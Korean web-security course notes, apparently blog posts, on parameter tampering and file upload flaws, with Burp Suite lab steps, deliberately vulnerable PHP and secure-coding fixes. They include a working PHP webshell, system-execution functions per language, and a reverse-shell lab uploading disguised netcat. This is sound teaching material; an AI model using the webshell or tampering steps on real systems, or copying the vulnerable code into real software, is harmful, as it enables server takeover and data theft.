버프스위트에서 pingcheck 로 요청하는 패킷을 잡고 해당 에러 메시지를 삭제 후 Intercept Off 하면

다음과 같이 접근이 가능하다.

간혹 기능이 다 실행되고 마지막에 검증하는 코드도 종종 있지만 이런 경우에는 검증이 되지 않으므로 꼭 기능 실행 전에 검증하는 코드를 작성해야 한다.

exit() 함수 적용 후에 관리자가 아닌 상태로 접근하게 되면 다음과 같이 에러메시지가 발생하면서 접근이 불가능해진다.

xmlparser.php 에도 동일하게 인증 및 인가 검증 코드를 적용해준다.

인증, 인가 검증 코드 적용 시, 기능 수행 전에 검증하도록 상단에 작성해준다.

< xmlparser.php 에 인증 및 인가 검증 코드 적용 >

<?
	include_once("./common.php");
	$xml = $_POST["xml"];
	
	if(empty($_SESSION["id"])) {
		echo "<script>alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';</script>";
		exit();
	  } else {
			if($_SESSION["id"] != "admin") {
				echo "<script>alert('접근 권한이 없습니다.');history.back(-1);</script>";
				exit();
			}
	  }
	

	libxml_disable_entity_loader(true);

	if(!empty($xml)){
		$result = simplexml_load_string($xml);
	}
?>

소스코드 적용 후 xmlparser 접근 시 다음과 같이 에러 메시지가 발생한다.

비회원인 경우 다음과 같이 에러 메시지 발생 후 로그인 페이지로 리다이렉트 된다.

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

파라미터 변조 취약점

Security Engineer — Wed, 26 Feb 2025 22:00:57 +0900

1) 파라미터 변조 취약점이란 무엇인가?

Parameter Tampering Vulnerability

사용자 입력값인 파라미터를 통해서 액션이 이루어지는 기능에 대해서 악의적인 사용자가 파라미터를 변조하여 악의적인 행위를 하는 공격

정상 요청 hxxp://www.test.co.kr/mypage.jsp?id=hacker

공격 요청 hxxp://www.test.co.kr/mypage.jsp?id=admin

별도의 공격 페이로드가 없음.

idx=100 을 idx=101 로 변경했더니 101번 게시글(비밀글)이 확인된다.

→ 파라미터 변조에 의한 공격

2) 공격 원리 분석

정상 동작 예시

1) 사용자는 id가 guest 인 mypage.jsp 를 요청

2) 어플리케이션에서 DB로 id가 guest 인 정보를 요청

3) DB에서 id가 guest 인 정보를 어플리케이션으로 반환

4) 사용자에게 해당 정보 출력

공격 동작 예시

1) 공격자는 자신의 id 파라미터를 admin으로 변조하여 mypage.jsp 를 요청 ( id 파라미터에 사전 대입을 사용하여 무작위 공격 시도)

2) 어플리케이션에서 DB로 id가 admin 인 정보를 요청

3) DB에서 id가 admin 인 정보를 어플리케이션으로 반환

4) 공격자에게 admin 정보 출력

페이로드만 봐서는 실제 공격 여부를 판단하기 어렵지만, 어플리케이션에서는 세션을 통해 공격 여부를 판단할 수 있다.

세션을 통해서 요청하는 사용자가 hacker 인지 admin 인지 알 수 있다.

세션을 통해서 요청이 이루어지는 경우 사용자 입력값이 필요하지 않다.

파라미터를 통해서 동작이 이루어지므로 취약하다. (파라미터 변조가 가능하므로)

취약 원인

1. 입력값 검증 부재

2. 취약한 설계

실습9-1 파라미터 변조 취약점 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습

실습을 위해서는 소스코드 수정이 필요하다.

action.php 에서 세션 검증하는 코드를 주석 처리한다.

< action.php 의 modify 부분 세션 검증 코드 주석 처리 >

		# Password Check Logic
		#$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		/*
		$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			#echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			echo "<script>alert('잘못된 요청 입니다.');history.back(-1);</script>";
			exit();
		}
		*/

< action.php 의 delete 부분 세션 검증 코드 주석 처리 >

		# Password Check Logic
		#$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		/*
		$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			#echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			echo "<script>alert('잘못된 요청 입니다.');history.back(-1);</script>";
			exit();
		}
		*/

해커 계정으로 로그인 후 게시글을 작성한다.

로그아웃 후 admin 계정으로 로그인 후 아래와 같이 게시글을 작성한다.

다시 해커 계정으로 로그인한다.

공격자는 관리자가 작성한 회비 정보 게시글을 확인하고 해당 게시글 수정을 시도한다.

게시글 수정을 시도하기 전에 원활한 실습을 위해 패스워드 입력란을 삭제한다.

modify.php 에서 패스워드를 표시하는 코드를 삭제한다. (31 - 34번 라인)

		  <div class="form-group">
			<label for="exampleInputPassword1">Password</label>
			<input type="password" class="form-control" name="password" placeholder="Password Input">
		  </div>

action.php 에서 96번 라인에 empty($password) 부분을 삭제한다.

if(empty($idx) || empty($title) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

다음과 같이 패스워드란이 없어졌으며, 수정이 가능하다.

다른 게시글을 무단으로 수정하는 방법은 2가지가 있다.

파라미터 변조 공격을 하기 위해서는 파라미터 대상이 있어야 한다.

여기서 대상은 83번 게시글이다.

해커 계정의 게시글을 modify 를 클릭하여 수정하는 페이지로 접속한다.

idx=82 부분을 수정할 게시글 idx=83 으로 변경한다.

다음과 같이 idx=83 게시글의 수정페이지로 이동하게 된다.

이제 공격자는 본인의 계좌로 게시글을 수정할 수 있다.

다음과 같이 해커 계좌로 게시글을 임의로 수정한다.

수정 후 83번 게시글을 확인하면 다음과 같이 게시글이 해커의 계좌로 수정되어 있는 것을 확인할 수 있다.

방금 같은 경우에는 form 페이지에 접속을 한 경우이며, form 페이지에 접속이 안되는 경우도 있다.

(modify 의 form 페이지에서 파라미터 변조에 대한 검증을 하는 경우)

modify.php -> action.php

파라미터 검증은 modify.php 가 아닌 action.php 에서 해야 한다.

modify.php 에서 action.php 로 넘어갈때 파라미터 변조를 시도한다. (버프스위트 사용)

해커는 82번 게시글에서 수정을 하되, 게시글 내용은 관리자가 작성한 내용으로 변경을 시도한다.

이때 버프스위트로 넘겨서 idx=82를 idx=83으로 변경한다. (관리자 게시글이 변경되도록)

Intercept On 후 게시글의 Modify를 클릭한다.

idx 부분을 83으로 변경한다.

변경 후 Intercept Off 를 하면 idx=83 게시글(관리자 게시글)이 기존과 동일하게 관리자 계좌의 내용을 변경된 것을 확인할 수 있다.

첫번째 실습과 두번째 실습의 차이점(파라미터 변조의 시점)

1. modify 의 form 페이지로 들어갈때 파라미터를 수정하는 경우

2. modify -> action 페이지로 넘어갈때 파라미터 변조를 하는 경우

첫번째 실습과 두번째 실습의 공통점

- 모두가 action 페이지로 넘어갈때 요청값이 동일하다.

개발자가 실수로 form 페이지에만 파라미터 검증 로직을 적용한경우, 두번째 실습과 같이 modify 에서 action 페이지로 넘어갈때 파라미터 변조가 가능하다. (action 페이지에 검증 로직을 적용해야 한다.)

이번에는 idx=83 게시글을 삭제해본다.

해커 계정으로 접속 후 idx=82 게시글 삭제를 시도한다.

버프스위트를 켜고 Intecpet On 을 클릭 후 게시글 Delete 버튼을 클릭한다.

idx=83 으로 변경해준다.

Intercept Off 후 게시글을 확인해보면 83번 게시글이 삭제된 것을 확인할 수 있다.

idx=82 게시글 삭제 페이지에 접속했지만, 버프스위트를 활용하여 파라미터를 idx=83 으로 변경하니 83번 게시글이 삭제되었다.

게시판의 파라미터 변조 주요 예시

- 타 사용자 게시글 무단 수정, 삭제

게시글 수정은 Form 페이지에서 파라미터 검증 로직을 적용해도 소용이 없으므로, 실제 동작이 이루어지는 Action 페이지에 파라미터 검증 로직을 적용해야 한다. (사용자 입력값을 받아서 데이터베이스에 값을 업데이트 하는 Action 페이지)

실습9-2 파라미터 변조 취약점 공격을 통한 타 사용자 정보 무단 열람 실습

해커 계정으로 MyPage 에 접속한다.

다음과 같이 id 가 hacker 로 확인된다.

버프스위트로 MyPage 패킷을 잡는다.

현재는 id=hacker 로 해커 계정의 MyPage 임을 알 수 있다.

만약에 id=hacker 부분이 없는 경우(파라미터를 받지 않는 경우)에는 어떻게 사용자 정보를 출력시킬 수 있을까?

→ 세션 ID를 통해서 사용자 정보를 출력시킨다. (파라미터 변조 공격에 대한 잠재적인 위협을 제거할 수 있음)

간혹 세션을 통해서 사용자 정보를 출력하지만, id 파라미터(더미 데이터)를 받아서 처리하는 것 처럼 보이는 경우도 있다.

→ 이런 경우 실제로는 세션을 통해서 사용자 정보를 출력하므로 파라미터 변조 공격에 취약하지 않다.

해당 기능을 확인하는 방법은 파라미터에 없는 사용자를 입력해보는 것이다.

id 파라미터에 아무값도 입력하지 않아도 여전히 해커 계정의 MyPage 에 접속된다.

현재는 id 파라미터가 아닌 세션을 통해 사용자 정보를 출력하기때문에 실습을 위해서 소스코드 수정이 필요하다.

(사용자 입력값을 받아서 처리하도록 소스코드를 수정)

< mypage.php 에 $id 값을 파라미터로 받도록 수정 >

	include_once("./common.php");

	$db_conn = mysql_conn();
	$id = $db_conn->real_escape_string($_GET["id"]);
	#$id = $_SESSION["id"];
	$gubun = $_POST["gubun"];

id 파라미터에 빈값을 입력하니 존재하지 않은 사용자로 확인된다.

이를 통해 세션을 통해 사용자 정보를 출력하는 것이 아닌, 파라미터 정보를 통해서 출력하는 것을 알 수 있다.

현재는 파라미터를 받아서 사용자의 정보를 출력하는 기능을 가지고 있으므로, 파라미터를 변조하여 다른 사용자의 계정을 무단으로 열람할 수 있다.

이제 id 파라미터에 admin 을 입력해본다.

관리자 계정의 MyPage 로 접속된 것을 확인할 수 있다.

이런 경우에는 id 파라미터에 사전 대입(무차별 대입 공격)을 많이 시도한다.

만약 idx=, seq= 등의 숫자값을 받는 파라미터인 경우에는 1부터 사용자 정보가 노출될 때까지 계속 주입한다.

Case 1) id 값을 입력 받는 경우

- id를 유추해야 되기 때문에 Case 2에 비해 피해가 크지 않다.

?id=admin

Case 2) seq 값을 입력 받는 경우

- 파라미터 변조 취약점 공격을 통한 개인 정보 노출 피해가 굉장히 크다.

- K 통신사 개인정보 노출 사고

?idx=1 ~ 1000000

?seq=

실습9-3 파라미터 변조 취약점 공격을 통한 타 사용자 강제 탈퇴 실습

현재 상태는 코드가 안전한 상태로 적용되어 있으므로, 탈퇴하는 페이지의 코드를 수정해야한다.

세션을 통해 회원 탈퇴하도록 코드가 작성되어 있으므로, 파라미터를 통해 회원 탈퇴를 할 수 있는 코드로 변경한다.

withdrawal.php 를 삭제하고 이전에 백업한 withdrawal-backup.php 를 withdrawal.php 로 이름을 변경한다.

< withdrawal.php >

<?
    @session_start();
    include_once("./common.php");

    unset($_SESSION["id"]);
    session_destroy();
    
    $db_conn = mysql_conn();
    $id = $_GET["id"];

    $query = "delete from members where id='{$id}'";
	$result = $db_conn->query($query);

    echo "<script>location.href='index.php'</script>";
?>

mypage 도 코드 수정이 필요하다.

이전에 CSRF Token 관련 코드를 작성했었는데, 해당 코드를 삭제하고 id 파라미터로 대체하는 코드를 작성한다.

withdrawal.php?csrf_token=<?=$csrf_token?> → withdrawal.php?id=<?=$id?>

86 - 89 번 라인 코드 수정

< mypage.php >

		<div class="text-center">
			<input type="submit" class="btn btn-info" value="수정하기">
			<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?id=<?=$id?>'">회원탈퇴하기</button>
		</div>

코드 저장 후 해커 계정의 MyPage 로 접속한다.

개발자 도구를 켜고 회원탈퇴하기 버튼 부분의 element 를 확인하면 다음과 같이 id=hacker 로 확인된다.

이를 통해 id 파라미터를 받아서 회원탈퇴하는 로직으로 변경된 것을 확인할 수 있다.

test 계정을 추가로 생성하여 파라미터 변조를 통한 강제 탈퇴를 실습해본다.

해커 계정으로 로그인 후 MyPage 에 접속한다.

버프스위트를 켜고 Intercept On 후 MyPage 의 회원탈퇴하기 버튼을 클릭한다.

id 파라미터의 hacker 를 회원 탈퇴를 시도할 계정 test 로 변경한다.

id 파라미터를 test로 변경 후 Intercept Off 한다.

insecure_website 에서 로그아웃 되었다.

test 계정으로 로그인 시도 시 로그인이 불가능하다.

MySQL 에서 확인 시 기존에는 test 계정이 존재하였지만, 현재는 존재하지 않는 것을 확인할 수 있다.

이를 통해 회원탈퇴를 할 때 id 파라미터를 입력받아서 회원 탈퇴를 하는 기능이 있다면, 해당 파라미터를 변조하여 타 사용자를 강제로 탈퇴 시킬 수 있다는 것을 알 수 있다.

3) 대응 방안

1. 사용자 입력 값에 대한 검증

2. 세션을 통한 처리

게시글 수정, 삭제 → 파라미터 검증 + 세션

정보수정, 마이페이지 → 세션을 통해서 처리

공격자가 다 사용자의 게시글을 무단으로 수정, 삭제하려는 경우

- idx 파라미터를 변조하여 게시글 번호를 변조, idx=100 을 idx=101 로 변경

- 게시글 삭제를 요청한 사용자 세션과 idx=101 게시글을 작성한 사용자를 비교, 비교해서 두 사용자가 동일하면 삭제를 하고, 동일하지 않으면 에러 처리 및 로직 중단

정보수정, 마이페이지 접속 시 계정 사용자의 세션 유무를 확인하여 동작 수행

세션 ID를 받아서 계정 정보 조회 → 사용자 입력 값(파라미터) 자체를 받지 않음

사용자 입력값(파라미터)을 받는 경우

- 게시글 번호(idx)를 먼저 입력 받음

- 수정 또는 삭제 요청을 하는 사용자의 세션 ID를 불러옴, 해당 게시글 작성자의 세션 ID와 비교

실습9-4 취약 환경 시큐어 코딩 적용 실습

취약한 action.php / mypage.php / withdrawal.php 에 대해 시큐어 코딩을 적용해본다.

타 사용자 게시글 수정 - action.php

타 사용자 게시글 삭제 - action.php

회원 정보 무단 열람 - mypage.php

타 사용자 강제 탈퇴 - withdrawal.php

action.php 에는 이전에 CSRF 시큐어 코딩 시 사용했던 코드를 그대로 사용해도 된다.

idx 와 세션 id 를 가져와서 검증하는 코드이다.

< action.php 의 modify 와 delete 부분 >

		# Password Check Logic
		#$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		
		$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			#echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			echo "<script>alert('잘못된 요청 입니다.');history.back(-1);</script>";
			exit();
		}

위 소스코드를 통해 타 사용자 게시글 수정 및 삭제에 대한 시큐어 코딩 적용이 완료되었다.

관리자 계정으로 접속 후 게시글을 작성한다.

해커 계정으로 로그인 후 관리자가 게시글 수정 및 삭제를 시도해본다.

해커 계정으로 임의의 게시글을 작성한다.

modify 를 클릭 후 상단 URL 의 idx 를 84 로 변경한다. (관리자 게시글)

다음과 같이 idx 84 번 게시글을 임의로 변경하려는 시도를 한다.

게시글 수정 후 Modify 를 클릭한다.

다음과 같이 잘못된 요청이라는 에러 메시지가 발생하면서 게시글이 변경되지 않는다.

이번에는 버프스위트를 활용하여 idx 값을 84로 변경을 시도해본다.

동일하게 에러 메시지가 확인된다.

지금쯤 드는 생각은 게시글 수정 시 URL 의 idx 값 변경이 가능한데 이것은 파라미터 변조 취약점이 아닌가? 라고 생각할 수 있다.

다른 게시글은 타 사용자도 확인이 가능하므로 단순히 idx 값을 수정한다고 해서 이는 파라미터 변조 취약점으로 볼 수 없다. 다만 현재 코드에서는 비밀 게시글도 위와 같은 방법으로 노출이 되므로 소스 코드 수정이 필요하다.

임의의 게시글 수정 시 상단의 idx 를 비밀 게시글의 idx 로 입력하면 위와 같이 비밀 게시글 확인이 가능하다.

modify.php 에 idx 와 세션 ID를 같이 받는 코드를 추가해준다.

< modify.php 의 세션 ID 받는 코드 추가 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$idx = $_GET["idx"];

	if(!is_numeric($idx)) {
		echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
		exit();
	}

	$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
  
	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

게시글 수정 시 idx 와 게시글 수정을 요청한 사용자의 세션 ID를 받는다. 게시글 수정을 요청한 사용자의 세션 ID와 실제 게시글 작성자의 세션 ID를 비교한다. 동일한 경우 게시글이 수정 가능하며, 동일하지 않으면 에러 발생

다시 게시글 수정을 통해 비밀 게시글을 확인하니 다음과 같이 에러가 발생한다.

이를 통해 게시글 수정 페이지에서 idx 파라미터를 변경해도 타 사용자의 게시글을 수정할 수 없게 된 것을 확인할 수 있다.

이번에는 타 사용자 게시글을 무단 삭제를 시도해본다.

버프스위트를 켜고 Intecept On 후 해커의 게시글에서 Delete 버튼을 클릭한다.

idx 를 84로 수정 후 Intercept Off 를 한다.

다음과 같이 에러 메시지가 발생하면서 idx 84 게시글은 삭제되지 않는다.

이번에는 id 파라미터 수정을 통한 개인 정보 무단 열람에 대해 시큐어 코딩을 적용해본다.

기존에는 본인 계정의 MyPage 에서 id 파라미터를 타 사용자를 입력하게 되면 해당 사용자의 개인 정보를 무단으로 열람할 수 있었다.

mypage.php 에서 id 파라미터(사용자 입력값)를 받는 것이 아닌, 세션을 통해서 접속할 수 있도록 코드를 수정한다.

< mypage.php 에 세션 ID 받도록 코드 수정 >

	include_once("./common.php");

	$db_conn = mysql_conn();
	#$id = $db_conn->real_escape_string($_GET["id"]);
	$id = $_SESSION["id"];
	$gubun = $_POST["gubun"];

소스코드 적용 후 MyPage 에서 id 파라미터 admin 을 입력해도 여전히 해커 계정의 MyPage 로 확인된다.

이전과 달리 id 파라미터의 값을 받는것이 아닌 사용자의 세션 ID를 받기 때문에 admin 의 MyPage 무단 열람이 불가능해진 것이다.

버프스위트를 통해 요청값을 확인해본다.

id 파라미터에는 admin 을 입력했지만, hacker 의 세션 ID 이므로 admin 이 아닌 hacker 사용자의 MyPage 가 확인된다.

MyPage 버튼의 링크 부분도 수정해준다.

index.php 에서 mypage 링크를 불러오는 코드를 수정한다.

아래 코드를

class="p-2 text-dark" href="index.php?page=mypage&id=<?=$_SESSION["id"]?>">MyPage</a>

이렇게 수정한다.

<a class="p-2 text-dark" href="index.php?page=mypage">MyPage</a>

소스코드 적용 후 MyPage 접속 시 다음과 같이 id 파라미터가 없는 것을 확인할 수 있다.

이번에는 타 사용자를 강제로 탈퇴시키는 부분에 대해 시큐어 코딩을 적용해본다.

기존에 CSRF 시큐어 코딩에 사용했던 코드를 그대로 사용하면 된다.

기존에는 $id 변수에 id 파라미터의 값을 받아서 SQL 쿼리로 DB에 전달하는 방식을 사용했다.

변경된 코드에는 현재 접속한 사용자의 세션 ID 를 받아서 SQL 쿼리로 DB에 전달하기때문에, 이전과 달리 id 파라미터를 변조해도 다른 사용자가 회원탈퇴가 되는 것이 아닌 현재 접속한 본인 계정이 회원탈퇴가 된다.

< 기존 withdrawal.php 코드 >

<?
    @session_start();
    include_once("./common.php");

    unset($_SESSION["id"]);
    session_destroy();
    
    $db_conn = mysql_conn();
    $id = $_GET["id"];

    $query = "delete from members where id='{$id}'";
	$result = $db_conn->query($query);

    echo "<script>location.href='index.php'</script>";
?>

< 시큐어 코딩이 적용된 withdrawal.php 코드 >

<?
    @session_start();
    include_once("./common.php");

    $db_conn = mysql_conn();

    $csrf_token_session = $_SESSION["csrf_token"];
    $csrf_token_param = $_GET["csrf_token"];

    if(empty($csrf_token_session) && empty($csrf_token_param)) {
		echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
			exit();
		}
	}

    $query = "delete from members where id='{$_SESSION["id"]}'";
	$result = $db_conn->query($query);

    unset($_SESSION["csrf_token"]);
    unset($_SESSION["id"]);
    session_destroy();

    echo "<script>location.href='index.php'</script>";
?>

그리고 위 소스코드는 CSRF 토큰이 필요하므로, mypage.php 에도 CSRF 토큰 관련 코드를 추가해준다.

< mypage.php 에 csrf 토큰 코드 추가 >

<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?csrf_token=<?=$csrf_token?>'">회원탈퇴하기</button>

버프스위트를 사용하여 해커 계정의 탈퇴를 시도해본다.

id 파라미터를 받지 않고 현재 접속한 사용자의 CSRF 토큰을 받는 것을 확인할 수 있다.

설령 저 부분에 id=admin 을 추가해도 관리자 계정은 회원 탈퇴되지 않고 해커 계정만 회원탈퇴가 된다.

( 소스코드에서 id 파라미터를 받지않고 세션 ID를 받기 때문에 )

해커 계정으로 로그인을 요청하니 회원탈퇴가 되어서 다음과 같이 로그인이 불가한 것을 확인할 수 있다.

MySQL 에서 확인해보니 admin 계정은 존재하고 hacker 계정은 확인되지 않는다.

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

파일 업로드 취약점

Security Engineer — Tue, 25 Feb 2025 22:00:24 +0900

1) 파일 업로드 취약점이란 무엇인가?

파일 업로드 취약점(File Upload Vulnerability)

- 파일 업로드 기능에 대해서 발생하는 취약점

- 공격자는 비정상 파일을 업로드하여 공격

- OS Command Injection 과 동일한 효과를 가지고 있는 취약점

정상 파일: 일반 파일(서버 사이드 스크립트로 작성되지 않은)

비정상 파일: 서버 사이드 스크립트(악성 스크립트)로 작성된 웹쉘 코드 → 원격 서버에 시스템 명령 실행 가능

공격자는 서버 사이드 스크립트(악성 스크립트)로 작성된 웹쉘 업로드를 통해서, 웹 서버를 경유하여 내부 네트워크 까지 침투하여 공격자가 목표하는 행위를 하는 공격

대응방법

- 시큐어코딩

- WAF

- 웹쉘 차단/모니터링 솔루션

OS Command Injection 과 파일 업로드 취약점의 차이

OS Command Injection 은 특정 웹 사이트(관리자 페이지 등)에서만 가능하여 웹 취약점 발견 및 발생 가능성이 낮다.

파일 업로드 취약점은 파일을 업로드 기능에 대한 취약점으로, 파일 업로드 기능을 가진 웹 사이트가 잠재적 위험에 노출되어 있다는 의미이다. 대부분의 웹 사이트는 파일 업로드 기능을 가지고 있다.

공격자는 웹 서버에 침투 → 시스템 명령 실행 가능. 웹 서버에 대한 제어권 획득

서버 내 중요정보 및 서버 설정 파일 열람 가능, 인근 동일 네트워크 상에 있는 서비스에 대한 정보 획득

파일 업로드 취약점은 공격자가 원하는 행위를 할 수 있는 수단으로 이용됨

웹 서버에 대해 제어권을 얻는다 = 시스템 명령어 실행이 가능하다 = 서버 내 중요정보 열람, 수정, 삭제 가능

해당 공격을 통해 웹 서버가 랜섬웨어 공격의 유포지로 활용될 수 있으며, 서버 내 중요파일이 랜섬웨어에 감염될수도 있다. 데이터베이스로 침투, 내부망에 침투하여 기밀 정보를 열람, 직원 PC를 감염시키는 등의 다양한 추가 공격이 가능하다.

공격자는 이러한 공격을 통해 기업으로부터 돈을 뜯어낸다.

시스템 명령어 실행을 통해서 단순히 해당 공격에서 끝나는 것이 아닌 2차, 3차 피해가 추가로 발생할 가능성이 있다.

2) 공격 원리 분석

Step 1) 파일 업로드 기능을 대상으로 공격

- 파일 업로드 기능에 정상 파일이 아닌, 악성 스크립트(서버 사이드 스크립트)가 담긴 웹쉘을 업로드를 시도.

- 파일 업로드가 진행될때 서버 측에서는 먼저 파일명을 받음.

Step 2) 기존 경로 + 업로드된 파일명 조합

- 사용자가 업로드한 파일명을 그대로 사용하는 경우도 있고, 서버 측에서 파일명을 생성해서 만드는 경우도 있다. ( 파일 업로드 기능마다 다름 )

Step 3) 파일 출력

- 사용자가 서버에 파일을 업로드(파일 쓰기)

- 지정된 경로로 파일이 업로드 됨

Step 4) 웹쉘 접근 및 실행

- 공격자는 파일이 업로드된 경로로 접근 (경로에 대한 URL 필요)

- 웹쉘은 서버 사이드 스크립트로 작성되어야 하며, 웹 디렉터리에 업로드 되어야 한다.

- 파일 업로드 경로 찾기 및 웹 디렉터리 파악이 어렵다.

- 오늘날에는 대부분 웹 디렉터리에 업로드를 하지 못하게 한다, 업로드 시 기존의 경로를 변조하여 업로드를 시도

파일 다운로드와 연계성 있는 취약점으로, 파일 다운로드를 통해서 웹 디렉터리 경로 획득 및 경로 변조가 가능하다면 웹 디렉터리에 파일 업로드를 시도한다.

3) 웹쉘이란 무엇인가?

Shell = 사용자가 명령을 입력하면 번역하여 커널이 이해할 수 있도록 해석 (Cmd.exe, bash shell)

WebShell = 웹 페이지에서 원격 서버의 시스템 명령어를 실행, 서버 사이드 스크립트로 작성됨

시스템 명령어를 실행하는 함수를 삭제하면 해결되나?

→ 개발자들의 편의, 기능적으로 구현하기 위해서 설계가 되어 있음

→ 서버 사이드 스크립트로 어느정도 기능 구현이 가능하지만, 시스템 명령어를 실행하는데 제약이 존재

공격자는 위와 같은 부분(시스템 명령어 실행 가능한 환경)을 악용하기 위해 웹쉘을 제작

각종 언어별 시스템 함수

언어	시스템 함수
PHP	passthru, system, `(백 쿼터), execl, popen, escapeshellcmd, eval, shell_exec, assert ...
JSP	Runtime.getRuntime().exec(""), processBuilder("")
ASP	CreateObject("wscript.shell").exec("cmd /c" & cmd), eval, Execute ...
ASPX	WinExec(), ShellExecute() ...

각종 웹쉘 별 시스템 함수 사용 예시

웹쉘 종류

웹쉘의 기본적인 기능 → 시스템 명령어 실행

위 예시의 웹쉘들은 시스템 명령어 뿐만 아니라, 파일 브라우저(파일 볼 수 있는) 기능, 파일 생성/수정/삭제, 디렉터리/생성/수정/삭제, 파일 업로드/다운로드 등의 기능이 존재한다.

실습8-1 간단한 웹쉘 제작 및 파일 업로드 취약점 공격 실습

웹쉘을 제작하기 위해서 특정 디렉터리에 웹쉘 파일을 생성한다.

위치: D:\webshell\webshell.php

system 함수: 인자에 들어오는 시스템 명령어를 통해서 출력시키는 함수

system 함수는 출력되는 결과값에 대한 핸들링은 할 수 없기때문에 다른 방식을 사용하여 코드를 작성한다.

< webshell.php >

<?
    $cmd = $_GET["cmd"];

    if(!empty($cmd)) {
        $result = shell_exec($cmd);
    }
?>

<form action="webshell.php" action="GET">
<input type="text" name="cmd">
<input type="submit" value="EXECUTE">
</form>
<hr>
<?=$result?>

비어있지 않는 경우에 shell_exec 함수를 사용하여 결과를 리턴 받아 result 변수에 넣는다.

웹쉘 생성 후, insecure_website 에서 웹쉘 업로드를 시도한다.

웹쉘 업로드 후 경로를 찾아야하는데, 경로를 찾는 방법에는 여러 방법이 있다.

소규모 웹사이트에는 보통 업로드 경로가 1개만 존재하고, 세분화되지 않은 경우가 많다.

URL 에 추측되는 경로를 입력 후 서버의 응답을 보고 추측할 수 있다.

URL 에 uplaod 를 입력해본다.

이렇게 Forbidden 이라는 창과 403 상태코드가 확인되는데, 이 경우에는 해당 디렉터리는 존재하나 권한이 없어 접근 할 수 없다는 의미로 볼 수 있다.

만약 디렉터리가 없는 경우에는 이렇게 404 에러코드가 발생한다.

webshell.php 를 입력하니 아래와 같이 접속이 되는 것을 확인할 수 있다.

시스템명령어 중 ipconfig 를 입력하여 IP에 대한 결과를 확인할 수 있다.

dir 을 입력하면 현재 위치와 폴더 내 파일들을 확인할 수 있다.

리눅스의 경우에는 ls 를 입력한다.

whoami 를 입력하여 현재 컴퓨터에 로그온되어 있는 계정의 정보를 확인할 수 있다.

위와 같이 OS Command Injection 과 동일하게 시스템 명령어를 실행할 수 있다.

시스템 명령어 실행을 통해 기본적인 네트워크 정보나 사용자 계정 정보를 확인할 수 있으며, 서버 내부의 파일들을 하나씩 자세하게 확인할 수도 있다. 여러 설정 파일 및 접속 정보를 확인하다가 인근 네트워크 정보도 확인할 수 있다. (DB 접속 정보 등) 이를 통해 데이터베이스에 침투도 가능하게 된다.

실습8-2 파일 업로드 취약점 공격을 통한 Reverse-shell 실습

먼저 VMWare 의 해커 계정으로 접속하여(공격자 PC)로 웹쉘을 업로드 한다.

실제 취약점 진단 시 정상적인 게시판인척 작성하여 웹쉘 업로드를 진행한다. 물론 고객사마다 방법은 다르므로, 각 고객사별 상황에 맞게 진행하면 된다.

업로드 후 웹쉘이 접속되는지 확인해본다.

http://192.168.56.1/insecure_website/upload/webshell.php ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )

위와 같이 정상적으로 웹쉘 페이지에 접속이 가능한 것을 확인할 수 있다.

리버스쉘을 하기위해서 NC(Netcat)을 사용한다.

이번에는 Netcat 을 정상적인 파일 업로드 기능을 사용하여 업로드한다.

Bind Shell 과 Reverse Shell

Bind Shell(정방향 연결)

→ 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘, 일반적인 서버로 접속하는 형태

Reverse Shell(역방향 연결)

→ 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 형태, 일반적인 방화벽 정책은 Inbound 정책은 대부분 차단되지만, Outbound 정책은 허용된 경우가 많기 때문에 사용한다.

Reverse Shell을 수행하기 위해 Netcat 을 다운로드한다.

Netcat - 평문 전송

Ncat - 암호화 전송

Netcat 다운로드 링크 - 1.12 버전

https://eternallybored.org/misc/netcat/

현재 VMWare 를 사용하여 공격자 PC의 역할을 하고 있는 칼리리눅스로 netcat 공격을 시도하였으나 리버스 쉘 연결이 되지 않아 윈도우 7 가상환경을 사용하여 netcat 연결을 시도한다.

보통 Netcat 을 업로드 할때 파일명 nc.exe 그대로 업로드 하지는 않는다. (정상 파일인척 다른 이름으로 업로드)

업로드 후 http://192.168.56.1/insecure_website/upload/webshell.php 경로로 접속하여 시스템 명령어를 실행해본다.

dir 명령어를 입력하여 현재 디렉터리에 설치된 파일 (upload 디렉터리)을 확인해본다.

업로드한 nc.exe 파일이 확인된다.

